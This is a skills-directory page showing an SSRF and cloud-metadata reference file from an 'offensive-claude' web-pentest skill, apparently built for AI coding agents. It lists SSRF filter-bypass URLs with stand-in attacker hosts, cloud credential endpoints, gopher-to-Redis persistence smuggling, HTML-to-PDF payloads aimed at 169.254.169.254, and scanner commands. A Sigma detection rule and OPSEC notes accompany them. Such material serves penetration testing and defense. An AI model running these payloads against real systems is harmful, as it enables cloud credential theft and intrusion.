Skip to content

hypnguyen1209/offensive-claude / skills/web-pentest

web-pentest

Flagged

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

references/ssrf-cloud-metadata.md

View on GitHub
# SSRF & Cloud Metadata Abuse

Cluster: Server-Side Request Forgery (CWE-918), filter/parser-confusion bypass,
cloud instance-metadata credential theft, IMDSv2 realities, and HTML-to-PDF
protocol-switch vectors. Backing tool: `scripts/ssrf_toolkit.py`. ATT&CK:
T1190 (Exploit Public-Facing App), T1552.005 (Cloud Instance Metadata API),
T1557 (Adversary-in-the-Middle for internal pivots).

## Theory / Mechanism

SSRF makes the server issue attacker-controlled requests. Impact tiers: (1) port
scan / internal service access, (2) read internal HTTP (admin panels, dashboards),
(3) credential theft from the cloud metadata endpoint `169.254.169.254`, (4) RCE
via gopher/redis/internal-service smuggling. The defining 2024-2026 trend is that
SSRF now frequently appears **without a URL parameter** — Host-header/route
mismatches in frameworks make the server fetch internal targets (see Next.js
below) — and IMDSv2 has shifted the bar without eliminating the risk.

## Bypass Corpus
```
python3 scripts/ssrf_toolkit.py payloads --target 169.254.169.254
python3 scripts/ssrf_toolkit.py cloud --provider aws
python3 scripts/ssrf_toolkit.py gopher --redis "FLUSHALL" --redis "SET x 1"
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
```
```
http://127.0.0.1/  http://[::1]/  http://0x7f000001/  http://2130706433/  http://0/
http://attacker.tld@169.254.169.254/        # userinfo confusion
http://169.254.169.254#@evil.tld/           # fragment confusion
aaaa...(9000 a's)://169.254.169.254/         # long-scheme parser confusion (curl HackerOne #1049624)
http://169.254.169.254.nip.io/              # DNS-rebinding helper
file:///etc/passwd                           # local-file scheme
```

## Cloud Metadata Endpoints
```
# AWS IMDSv1 (only if v1 still enabled)
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
http://169.254.170.2/v2/credentials/   # ECS task role
# AWS IMDSv2 (needs PUT for token + custom GET header):
PUT /latest/api/token   (X-aws-ec2-metadata-token-ttl-seconds: 21600)
GET /latest/meta-data/  (X-aws-ec2-metadata-token: <token>)
# GCP (header required)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
  (Metadata-Flavor: Google)
# Azure (header required)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
  (Metadata: true)
```

## gopher:// -> internal protocol smuggling
```
# Redis: write a cron job / SSH key via crafted RESP smuggled over gopher
gopher://127.0.0.1:6379/_<urlencoded RESP: SET, CONFIG SET dir, SAVE>
# Also: SMTP, FastCGI, internal HTTP POST with full headers+body
```

## Modern 2024-2026 Variants (verified)

- **CVE-2025-53767 — Azure OpenAI SSRF (CVSS 10.0)**: insufficient validation of
  a user-supplied URL allowed retrieval of Azure managed-identity tokens, enabling
  cross-tenant lateral movement. Patched by Microsoft.
- **CVE-2025-61882 — Oracle E-Business Suite**: SSRF chained to RCE, actively
  exploited; CISA set an Oct 27 2025 patch deadline. Shows SSRF as an RCE primitive.
- **CVE-2024-34351 / CVE-2025-57822 — Next.js**: Host-header / resolve-routes
  mismatch makes the framework treat a forged `Host` as authoritative when
  proxying a server-side fetch, reaching internal services with **no URL
  parameter accepted from the user**.
- **HTML-to-PDF / indirect protocol switching** — **CVE-2024-34112 (Adobe
  ColdFusion)** showed a post-patch bypass where `file://` was blocked in the
  initial fetch but not in `meta-refresh` targets inside attacker HTML;
  **CVE-2025-51591** is the iframe-render variant. Pattern: any HTML-to-PDF
  renderer that fetches external resources can be redirected to the metadata IP.
- **IMDSv2 bypass via prototype-pollution gadget (Axios GHSA-fvcv-3m26-pcqx,
  CVSS 9.9, CWE-113)**: IMDSv2 normally blocks SSRF because the attacker cannot
  set the `X-aws-ec2-metadata-token` header. If `Object.prototype` is polluted
  anywhere in the dependency tree (qs/minimist/ini/body-parser), Axios merges the
  polluted `headers` property into outbound requests — letting the attacker inject
  the required IMDSv2 token header with **zero direct user input**. See the
  prototype-pollution reference for the full chain.

```
python3 scripts/ssrf_toolkit.py payloads --target 169.254.169.254   # prints HTML-to-PDF vectors
```
```html
<meta http-equiv="refresh" content="0;url=http://169.254.169.254/latest/meta-data/">
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
```

## IMDSv2 Reality Check

IMDSv2 requires a PUT to mint a token then a custom header on every GET. Plain
SSRF (only GET, no custom headers) cannot do this -> IMDSv2 mitigates the common
case. It is **not** absolute: bypassable when (a) the app proxies PUT/custom
headers, (b) IMDSv1 is still enabled (backward-compat), or (c) a prototype-
pollution gadget like Axios injects the token header. Recommend hop-limit=1 and
IMDSv1 fully disabled as the defensive baseline.

## Detection (Blue Team)

IOCs: outbound requests to `169.254.169.254` / `metadata.google.internal` /
`169.254.170.2` from app servers; requests to RFC1918 from the web tier;
unusual `gopher://`, `dict://`, `file://` in params; long-scheme or
userinfo-laden URLs.
```yaml
title: SSRF to Cloud Metadata / Internal Range
logsource: { category: proxy }
detection:
  meta:
    c-uri|contains:
      - '169.254.169.254'
      - '169.254.170.2'
      - 'metadata.google.internal'
  internal:
    cs-host|re: '^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|127\.|0\.0\.0\.0)'
  condition: meta or internal
level: high
```
Cloud-side: alert on IMDS access from a process that normally never calls it;
GuardDuty `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration`; flag
credential use from an IP that is not the instance.

## OPSEC

- Blind-SSRF callbacks reveal your collaborator host in DNS/HTTP logs — rotate
  subdomains, prefer DNS-only probes when you just need confirmation.
- Reading metadata credentials and then *using* them off-box triggers the
  strongest cloud detections (credential-exfiltration analytics keyed on source
  IP); if only validating SSRF, stop at proving token retrieval.
- gopher/redis smuggling that writes cron/SSH keys is persistence — out of scope
  unless authorized; remember to clean keys/config writes.
- HTML-to-PDF vectors leave the malicious HTML in upload/render logs.

## References

- NVD: CVE-2025-53767 (Azure OpenAI), CVE-2025-61882 (Oracle EBS),
  CVE-2024-34351 / CVE-2025-57822 (Next.js), CVE-2024-34112 (ColdFusion),
  CVE-2025-51591.
- GitHub Security Advisory GHSA-fvcv-3m26-pcqx (Axios IMDSv2 header-injection gadget).
- AWS IMDSv2 documentation; F5 Labs "EC2 Instance Metadata via SSRF" campaign.
- PortSwigger Web Security Academy — SSRF.
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall